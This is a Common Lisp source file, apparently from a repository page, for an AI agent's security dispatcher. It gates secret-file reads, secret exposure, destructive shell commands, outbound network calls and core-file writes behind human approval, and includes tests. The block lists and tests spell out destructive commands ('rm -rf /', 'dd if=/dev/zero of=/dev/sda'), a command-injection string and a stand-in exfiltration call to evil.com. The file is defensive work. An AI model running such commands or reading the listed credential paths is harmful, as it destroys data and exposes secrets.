Amr Gharbeia
385a6497ac
Some checks failed
Deploy (Gitea) / deploy (push) Failing after 3s
Adds dispatcher-check-core-path: regex-based detection of core-*.org and core-*.lisp files (Perceive-Reason-Act loop, Merkle-tree memory, skill engine, Dispatcher gates). Vector 2b in dispatcher-check: when SELF_BUILD_MODE=true and a core file write is detected, produces :approval-required (Flight Plan HITL) instead of allowing the write through. When SELF_BUILD_MODE=false (default), writes pass through — development mode. Core file protection is separate from secret-path protection (*dispatcher-protected-paths*) which blocks credentials/keys/tokens. Test test-self-build-core-protection: - core-loop-reason.org, core-memory.lisp → protected - gateway-tui-view.org → not protected - SELF_BUILD_MODE=true → writes blocked as :approval-required - SELF_BUILD_MODE=false → writes pass through Test: 102/0 (dispatcher 24/0)
484 lines
22 KiB
Common Lisp
484 lines
22 KiB
Common Lisp
(in-package :passepartout)
|
|
|
|
(defvar *dispatcher-network-whitelist*
|
|
'("api.telegram.org" "matrix.org" "googleapis.com" "openai.com" "anthropic.com")
|
|
"Domains the Dispatcher considers safe for outbound connections.")
|
|
|
|
(defvar *dispatcher-privacy-tags*
|
|
(let ((env (uiop:getenv "PRIVACY_FILTER_TAGS")))
|
|
(if env
|
|
(uiop:split-string env :separator '(#\,))
|
|
'("@personal")))
|
|
"Tags marking content as private. Set via PRIVACY_FILTER_TAGS.")
|
|
|
|
(defvar *dispatcher-protected-paths*
|
|
'(".env" ".env.example" ".env.local" ".env.production"
|
|
"*credentials*" "*cred*"
|
|
"*id_rsa*" "*id_dsa*" "*id_ecdsa*" "*id_ed25519*"
|
|
"*.pem" "*.key" "*.p12" "*.pfx" "*.asc" "*.gpg" "*.pgp"
|
|
"secring.*" "pubring.*" "private-keys-v1.d/*"
|
|
"token*" "*secret*" "*token*"
|
|
".netrc" ".git-credentials" "auth.json"
|
|
".aws/credentials" ".aws/config"
|
|
".kube/config" "kubeconfig"
|
|
"*.cert" "*.crt" "*.csr"
|
|
"*password*" "*passwd*")
|
|
"Path patterns blocked from file reads.
|
|
Core file protection (core-*.org, core-*.lisp) handled separately by
|
|
dispatcher-check-core-path for self-build safety.")
|
|
|
|
(defvar *dispatcher-exposure-patterns*
|
|
'((:pem-key "-----BEGIN +(RSA|DSA|EC|OPENSSH|PGP) +PRIVATE +KEY *-----")
|
|
(:pgp-key "-----BEGIN +PGP +PRIVATE +KEY +BLOCK-----")
|
|
(:pgp-public "-----BEGIN +PGP +PUBLIC +KEY +BLOCK-----")
|
|
(:openai-key "sk-[A-Za-z0-9-]{20,}")
|
|
(:google-key "AIza[0-9A-Za-z_-]{35}")
|
|
(:github-token "gh[pousr]_[A-Za-z0-9]{36,}")
|
|
(:slack-token "xox[baprs]-[A-Za-z0-9-]{24,}")
|
|
(:env-assignment "[A-Z_]+=[A-Za-z0-9+/=_\\-]{20,}")
|
|
(:generic-secret "(api|secret|password|token)[ ]*[:=][ ]*[\"']?[A-Za-z0-9_\\-]{16,}"))
|
|
"Named regex patterns for secret exposure detection.")
|
|
|
|
(defvar *dispatcher-shell-timeout* 30
|
|
"Maximum seconds for a shell command before timeout.")
|
|
|
|
(defvar *dispatcher-shell-max-output* 100000
|
|
"Maximum characters of shell output to capture.")
|
|
|
|
(defvar *dispatcher-shell-blocked*
|
|
'((:destructive-rm "\\brm\\s+-rf\\s+/")
|
|
(:destructive-dd "\\bdd\\s+if=")
|
|
(:destructive-mkfs "\\bmkfs\\.")
|
|
(:destructive-format "\\bmformat\\b")
|
|
(:disk-wipe "\\bshred\\s+/dev/")
|
|
(:disk-wipe-b "\\bwipefs\\s+/dev/")
|
|
(:injection-backtick "`[^`]+`")
|
|
(:injection-subshell "\\$\\([^)]+\\)"))
|
|
"Destructive and injection patterns blocked in shell commands.")
|
|
|
|
(defun wildcard-match (pattern path)
|
|
"Matches PATH against PATTERN where * matches any characters."
|
|
(let ((regex (cl-ppcre:regex-replace-all
|
|
"\\*" (cl-ppcre:quote-meta-chars pattern) ".*")))
|
|
(cl-ppcre:scan regex path)))
|
|
|
|
(defun dispatcher-check-core-path (filepath)
|
|
"Returns T if FILEPATH matches a core-* self-build protected pattern."
|
|
(when (and filepath (stringp filepath))
|
|
(or (and (>= (length filepath) 5) (string-equal (subseq filepath 0 5) "core-"))
|
|
(cl-ppcre:scan "core-.*\\.(org|lisp)" filepath))))
|
|
|
|
(defun dispatcher-check-secret-path (filepath)
|
|
"Returns the matching pattern if FILEPATH matches a protected path, nil otherwise."
|
|
(when (and filepath (stringp filepath))
|
|
(some (lambda (pattern)
|
|
(when (wildcard-match pattern filepath)
|
|
pattern))
|
|
*dispatcher-protected-paths*)))
|
|
|
|
(defun dispatcher-exposure-scan (text)
|
|
"Scans TEXT for patterns matching known secret formats.
|
|
Returns a list of matched category keywords."
|
|
(when (and text (stringp text) (> (length text) 0))
|
|
(let ((matches nil))
|
|
(dolist (entry *dispatcher-exposure-patterns*)
|
|
(let ((name (first entry))
|
|
(regex (second entry)))
|
|
(when (cl-ppcre:scan regex text)
|
|
(push name matches))))
|
|
matches)))
|
|
|
|
(defun dispatcher-vault-scan (text)
|
|
"Scans TEXT for known secrets from the vault."
|
|
(when (and text (stringp text))
|
|
(let ((found-secret nil))
|
|
(maphash (lambda (key val)
|
|
(when (and val (stringp val) (> (length val) 5))
|
|
(when (search val text)
|
|
(setf found-secret key))))
|
|
*vault-memory*)
|
|
found-secret)))
|
|
|
|
(defun dispatcher-check-privacy-tags (tags-list)
|
|
"Returns T if any tag in TAGS-LIST matches a privacy filter tag."
|
|
(when (and tags-list (listp tags-list))
|
|
(some (lambda (tag)
|
|
(some (lambda (private)
|
|
(or (string-equal tag private)
|
|
(search private tag :test #'string-equal)))
|
|
*dispatcher-privacy-tags*))
|
|
tags-list)))
|
|
|
|
(defun dispatcher-check-text-for-privacy (text)
|
|
"Scans TEXT for leaked privacy-tagged content."
|
|
(when (and text (stringp text))
|
|
(let ((lower (string-downcase text)))
|
|
(some (lambda (tag)
|
|
(search (string-downcase tag) lower))
|
|
*dispatcher-privacy-tags*))))
|
|
|
|
(defun org-blocks-extract (content)
|
|
"Extracts concatenated Lisp code from #+begin_src lisp blocks in an Org string."
|
|
(when (and content (stringp content))
|
|
(let ((lines (uiop:split-string content :separator '(#\Newline)))
|
|
(in-block nil)
|
|
(code ""))
|
|
(dolist (line lines)
|
|
(let ((clean (string-trim '(#\Space #\Tab) line)))
|
|
(cond
|
|
((search "#+begin_src lisp" clean)
|
|
(setf in-block t))
|
|
((search "#+end_src" clean)
|
|
(setf in-block nil))
|
|
(in-block
|
|
(setf code (concatenate 'string code line (string #\Newline)))))))
|
|
(when (> (length code) 0) code))))
|
|
|
|
(defun dispatcher-check-lisp-valid (filepath content)
|
|
"Validates Lisp syntax when writing .lisp files or Org files with lisp blocks.
|
|
Returns the validation result plist or nil if not applicable."
|
|
(when (and content (stringp content) (> (length content) 0))
|
|
(let ((to-validate
|
|
(cond
|
|
((uiop:string-suffix-p filepath ".lisp") content)
|
|
((uiop:string-suffix-p filepath ".org") (org-blocks-extract content))
|
|
(t nil))))
|
|
(when to-validate
|
|
(multiple-value-bind (valid-p err) (ignore-errors
|
|
(let ((*read-eval* nil))
|
|
(with-input-from-string (s (format nil "(progn ~a)" to-validate))
|
|
(loop for form = (read s nil :eof) until (eq form :eof)))
|
|
(values t nil)))
|
|
(unless valid-p
|
|
(list :status :error :reason err)))))))
|
|
|
|
(defun org-has-defuns-p (content)
|
|
"Returns T if the Org content contains any #+begin_src lisp blocks with defuns."
|
|
(when (and content (stringp content))
|
|
(search "defun " content :test #'char-equal)))
|
|
|
|
(defun dispatcher-check-repl-verified (action filepath content)
|
|
"Warns if writing a defun to an Org file without :repl-verified metadata."
|
|
(let ((repl-verified (getf action :repl-verified)))
|
|
(when (and filepath
|
|
(uiop:string-suffix-p filepath ".org")
|
|
(org-has-defuns-p content)
|
|
(not repl-verified))
|
|
(list :type :LOG
|
|
:payload (list :level :warn
|
|
:text (format nil "Lint: Writing defun to ~a without :repl-verified flag. Did you prototype this in the REPL first?" filepath))))))
|
|
|
|
(defun dispatcher-check-shell-safety (cmd)
|
|
"Checks a shell command for destructive patterns and injection vectors.
|
|
Returns a list of matched pattern names or nil if safe."
|
|
(when (and cmd (stringp cmd) (> (length cmd) 0))
|
|
(let ((matches nil))
|
|
(dolist (entry *dispatcher-shell-blocked*)
|
|
(let ((name (first entry))
|
|
(regex (second entry)))
|
|
(when (cl-ppcre:scan regex cmd)
|
|
(push name matches))))
|
|
matches)))
|
|
|
|
(defun dispatcher-check-network-exfil (cmd)
|
|
"Detects if CMD attempts to contact an unwhitelisted external host."
|
|
(when (and cmd (stringp cmd))
|
|
(multiple-value-bind (match regs)
|
|
(cl-ppcre:scan-to-strings "(http|https|ftp)://([\\w\\.-]+)" cmd)
|
|
(declare (ignore match))
|
|
(when regs
|
|
(let ((domain (aref regs 1)))
|
|
(not (some (lambda (safe) (search safe domain))
|
|
*dispatcher-network-whitelist*)))))))
|
|
|
|
(defun dispatcher-check (action context)
|
|
"Security gate for high-risk actions.
|
|
Vectors: lisp validation, secret path, secret content, vault secrets,
|
|
privacy tags, privacy text, shell safety, network exfil, high-impact approval."
|
|
(declare (ignore context))
|
|
(let* ((target (proto-get action :target))
|
|
(payload (proto-get action :payload))
|
|
(text (or (proto-get payload :text) (proto-get action :text)))
|
|
(filepath (or (proto-get payload :filepath)
|
|
(when (equal (proto-get payload :tool) "read-file")
|
|
(proto-get (proto-get payload :args) :filepath))
|
|
(when (equal (proto-get payload :tool) "write-file")
|
|
(proto-get (proto-get payload :args) :filepath))))
|
|
(content (when filepath (proto-get (proto-get payload :args) :content)))
|
|
(cmd (or (proto-get payload :cmd)
|
|
(when (and (eq target :tool) (equal (proto-get payload :tool) "shell"))
|
|
(proto-get (proto-get payload :args) :cmd))))
|
|
(approved (proto-get action :approved))
|
|
(tags (proto-get payload :tags))
|
|
(lisp-valid (when (and filepath content (not approved))
|
|
(dispatcher-check-lisp-valid filepath content)))
|
|
(repl-lint (when (and filepath content (not approved))
|
|
(dispatcher-check-repl-verified action filepath content))))
|
|
(cond
|
|
(approved action)
|
|
|
|
;; Vector 0: REPL verification lint (warn, don't block)
|
|
(repl-lint
|
|
(log-message "DISPATCHER: ~a" (proto-get repl-lint :text))
|
|
action)
|
|
|
|
;; Vector 1: Lisp syntax validation (block bad lisp writes)
|
|
((and lisp-valid (eq (getf lisp-valid :status) :error))
|
|
(log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason))
|
|
(list :type :LOG
|
|
:payload (list :level :error
|
|
:text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason)))))
|
|
|
|
;; Vector 2: File read to a protected secret path
|
|
((and filepath (dispatcher-check-secret-path filepath))
|
|
(let ((matched (dispatcher-check-secret-path filepath)))
|
|
(log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched)
|
|
(list :type :LOG
|
|
:payload (list :level :error
|
|
:text (format nil "Action blocked: Attempted read of protected path '~a'" filepath)))))
|
|
|
|
;; Vector 2b: Self-build safety — core file writes require HITL approval
|
|
((and filepath content
|
|
(string-equal (uiop:getenv "SELF_BUILD_MODE") "true")
|
|
(dispatcher-check-core-path filepath))
|
|
(log-message "SELF-BUILD: Core file write to '~a' requires approval" filepath)
|
|
(list :type :EVENT :level :approval-required
|
|
:payload (list :sensor :approval-required :action action
|
|
:message (format nil "Core file write blocked: '~a' requires HITL approval via Flight Plan." filepath))))
|
|
|
|
;; Vector 3: Content contains secret patterns
|
|
((and text (dispatcher-exposure-scan text))
|
|
(let ((matched (dispatcher-exposure-scan text)))
|
|
(log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched)
|
|
(list :type :LOG
|
|
:payload (list :level :error
|
|
:text "Action blocked: Content contains potential secret exposure."))))
|
|
|
|
;; Vector 4: Content contains vault secrets
|
|
((and text (dispatcher-vault-scan text))
|
|
(let ((secret-name (dispatcher-vault-scan text)))
|
|
(log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name)
|
|
(list :type :LOG
|
|
:payload (list :level :error
|
|
:text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))
|
|
|
|
;; Vector 5: Privacy-tagged content in action
|
|
((and tags (dispatcher-check-privacy-tags tags))
|
|
(log-message "PRIVACY VIOLATION: Action contains privacy-tagged content")
|
|
(list :type :LOG
|
|
:payload (list :level :warn
|
|
:text "Action blocked: Content tagged with privacy filter.")))
|
|
|
|
;; Vector 6: Text leaks privacy tag names
|
|
((and text (dispatcher-check-text-for-privacy text))
|
|
(log-message "PRIVACY WARNING: Text may contain leaked private content")
|
|
(list :type :LOG
|
|
:payload (list :level :warn
|
|
:text "Action blocked: Text may reference private content.")))
|
|
|
|
;; Vector 7: Shell destructive/injection patterns
|
|
((and cmd (dispatcher-check-shell-safety cmd))
|
|
(let ((matched (dispatcher-check-shell-safety cmd)))
|
|
(log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched)
|
|
(list :type :LOG
|
|
:payload (list :level :error
|
|
:text (format nil "Shell command blocked: contains unsafe pattern ~a" matched)))))
|
|
|
|
;; Vector 8: Network exfiltration
|
|
((and (or (eq target :shell)
|
|
(and (eq target :tool) (equal (proto-get payload :tool) "shell")))
|
|
(dispatcher-check-network-exfil cmd))
|
|
(log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
|
|
(list :type :EVENT :level :approval-required
|
|
:payload (list :sensor :approval-required :action action)))
|
|
|
|
;; Vector 8: High-impact action approval
|
|
((or (member target '(:shell))
|
|
(and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=))
|
|
(and (eq target :emacs) (eq (proto-get payload :action) :eval))
|
|
(and (eq target :system) (eq (proto-get payload :action) :eval)))
|
|
(log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target))
|
|
(list :type :EVENT :payload (list :sensor :approval-required :action action)))
|
|
(t action))))
|
|
|
|
(defun dispatcher-approvals-process ()
|
|
"Scans for APPROVED flight plans and re-injects them."
|
|
(let ((approved-nodes (memory-objects-by-attribute :TODO "APPROVED"))
|
|
(found-any nil))
|
|
(dolist (node approved-nodes)
|
|
(let* ((attrs (memory-object-attributes node))
|
|
(tags (getf attrs :TAGS))
|
|
(action-str (getf attrs :ACTION)))
|
|
(when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str)
|
|
(log-message "DISPATCHER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node))
|
|
(let ((action (ignore-errors (read-from-string action-str))))
|
|
(when action
|
|
(setf (getf action :approved) t)
|
|
(stimulus-inject (list :type :EVENT
|
|
:payload (list :sensor :approval-required
|
|
:action action
|
|
:approved t)
|
|
:meta (list :source :system)))
|
|
(setf (getf (memory-object-attributes node) :TODO) "DONE")
|
|
(setq found-any t))))))
|
|
found-any))
|
|
|
|
(defun dispatcher-flight-plan-create (blocked-action)
|
|
"Creates a Flight Plan node for manual approval in Emacs."
|
|
(let ((id (remove #\- (princ-to-string (uuid:make-v4-uuid)))))
|
|
(log-message "DISPATCHER: Creating flight plan node '~a'..." id)
|
|
(list :type :REQUEST :target :emacs
|
|
:payload (list :action :insert-node :id id
|
|
:attributes (list :TITLE "Flight Plan: High-Risk Action"
|
|
:TODO "PLAN" :TAGS '("FLIGHT_PLAN")
|
|
:ACTION (format nil "~s" blocked-action))))))
|
|
|
|
(defvar *hitl-pending* (make-hash-table :test 'equal)
|
|
"Maps correlation token → blocked-action plist for pending HITL approvals.")
|
|
|
|
(defun hitl-create (blocked-action)
|
|
"Saves a blocked action for HITL approval. Returns a plist with
|
|
:token (the correlation ID) and :message (user-facing text)."
|
|
(let* ((token (format nil "HITL-~a" (subseq (remove #\- (princ-to-string (uuid:make-v4-uuid))) 0 8))))
|
|
(setf (gethash token *hitl-pending*) blocked-action)
|
|
(log-message "HITL: Created pending approval ~a" token)
|
|
(list :token token
|
|
:message (format nil "HITL: Action requires approval [~a]. Reply /approve ~a to approve." token token))))
|
|
|
|
(defun hitl-approve (token)
|
|
"Approves a pending HITL action by token. Re-injects with :approved t.
|
|
Returns T if found and approved, nil if token is invalid."
|
|
(let ((action (gethash token *hitl-pending*)))
|
|
(if action
|
|
(progn
|
|
(remhash token *hitl-pending*)
|
|
(setf (getf action :approved) t)
|
|
(stimulus-inject (list :type :EVENT
|
|
:payload (list :sensor :approval-required
|
|
:action action
|
|
:approved t)
|
|
:meta (list :source :system)))
|
|
(log-message "HITL: Approved ~a — re-injected" token)
|
|
t)
|
|
(progn
|
|
(log-message "HITL: Token ~a not found in pending" token)
|
|
nil))))
|
|
|
|
(defun hitl-deny (token)
|
|
"Denies a pending HITL action by token. Removes it from the pending store.
|
|
Returns T if found, nil if token is invalid."
|
|
(if (gethash token *hitl-pending*)
|
|
(progn
|
|
(remhash token *hitl-pending*)
|
|
(log-message "HITL: Denied ~a" token)
|
|
t)
|
|
(progn
|
|
(log-message "HITL: Token ~a not found in pending" token)
|
|
nil)))
|
|
|
|
(defun hitl-handle-message (text &optional source)
|
|
"Checks if TEXT is a HITL approval or denial command.
|
|
If it matches, processes the command and returns T.
|
|
Otherwise returns nil (text should be handled as normal input).
|
|
Recognized formats:
|
|
/approve HITL-abc123
|
|
/deny HITL-abc123
|
|
approve HITL-abc123
|
|
deny HITL-abc123"
|
|
(let ((text (string-trim '(#\Space) (or text ""))))
|
|
(when (or (uiop:string-prefix-p (string-downcase "/approve") (string-downcase text))
|
|
(uiop:string-prefix-p (string-downcase "approve") (string-downcase text)))
|
|
(let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
|
|
(token (when (> (length parts) 1) (second parts))))
|
|
(when (and token (hitl-approve token))
|
|
(log-message "HITL: Approved via ~a — ~a" (or source :unknown) token)
|
|
(return-from hitl-handle-message t))))
|
|
(when (or (uiop:string-prefix-p (string-downcase "/deny") (string-downcase text))
|
|
(uiop:string-prefix-p (string-downcase "deny") (string-downcase text)))
|
|
(let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
|
|
(token (when (> (length parts) 1) (second parts))))
|
|
(when (and token (hitl-deny token))
|
|
(log-message "HITL: Denied via ~a — ~a" (or source :unknown) token)
|
|
(return-from hitl-handle-message t))))
|
|
nil))
|
|
|
|
(defun dispatcher-gate (action context)
|
|
"Main deterministic gate for the Security Dispatcher skill."
|
|
(let* ((payload (getf context :payload))
|
|
(sensor (getf payload :sensor)))
|
|
(case sensor
|
|
(:approval-required
|
|
(dispatcher-flight-plan-create (getf payload :action)))
|
|
(:heartbeat
|
|
(dispatcher-approvals-process)
|
|
(if action (dispatcher-check action context) action))
|
|
(otherwise
|
|
(if action (dispatcher-check action context) action)))))
|
|
|
|
(defskill :passepartout-security-dispatcher
|
|
:priority 150
|
|
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
|
:deterministic #'dispatcher-gate)
|
|
|
|
(eval-when (:compile-toplevel :load-toplevel :execute)
|
|
(ql:quickload :fiveam :silent t))
|
|
|
|
(defpackage :passepartout-security-dispatcher-tests
|
|
(:use :cl :fiveam :passepartout)
|
|
(:export #:dispatcher-suite))
|
|
|
|
(in-package :passepartout-security-dispatcher-tests)
|
|
|
|
(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
|
|
(in-suite dispatcher-suite)
|
|
|
|
(test test-wildcard-match
|
|
"Contract 1: wildcard pattern * matches any characters."
|
|
(is (wildcard-match "*.env" ".env"))
|
|
(is (wildcard-match "*.env" "prod.env"))
|
|
(is (wildcard-match "*credential*" "my-credential-file"))
|
|
(is (wildcard-match "*.key" "id_rsa.key"))
|
|
(is (not (wildcard-match "*.env" "config.yaml"))))
|
|
|
|
(test test-check-secret-path
|
|
"Contract 2: dispatcher-check-secret-path matches protected patterns."
|
|
(is (dispatcher-check-secret-path ".env"))
|
|
(is (dispatcher-check-secret-path "id_rsa"))
|
|
(is (not (dispatcher-check-secret-path "README.org"))))
|
|
|
|
(test test-self-build-core-protection
|
|
"Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
|
|
;; Core paths are recognized
|
|
(is (passepartout::dispatcher-check-core-path "core-loop-reason.org"))
|
|
(is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
|
|
(is (not (passepartout::dispatcher-check-core-path "gateway-tui-view.org")))
|
|
;; With SELF_BUILD_MODE=true, core writes produce approval-required
|
|
(let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-loop-reason.org" :content "x")))))
|
|
(setf (uiop:getenv "SELF_BUILD_MODE") "true")
|
|
(let ((result (dispatcher-check action nil)))
|
|
(is (eq :approval-required (getf result :level)))
|
|
(setf (uiop:getenv "SELF_BUILD_MODE") "false"))
|
|
;; With SELF_BUILD_MODE=false (default), writes pass through
|
|
(let ((result (dispatcher-check action nil)))
|
|
(is (eq :REQUEST (getf result :type))))))
|
|
|
|
(test test-check-shell-safety
|
|
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
|
|
(is (dispatcher-check-shell-safety "rm -rf /"))
|
|
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
|
|
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
|
|
(is (not (dispatcher-check-shell-safety "echo hello world")))
|
|
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
|
|
|
|
(test test-check-privacy-tags
|
|
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
|
|
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
|
|
(is (dispatcher-check-privacy-tags '("@personal")))
|
|
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
|
|
|
|
(test test-check-network-exfil
|
|
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
|
|
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
|
|
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
|
|
(is (not (dispatcher-check-network-exfil "echo hello"))))
|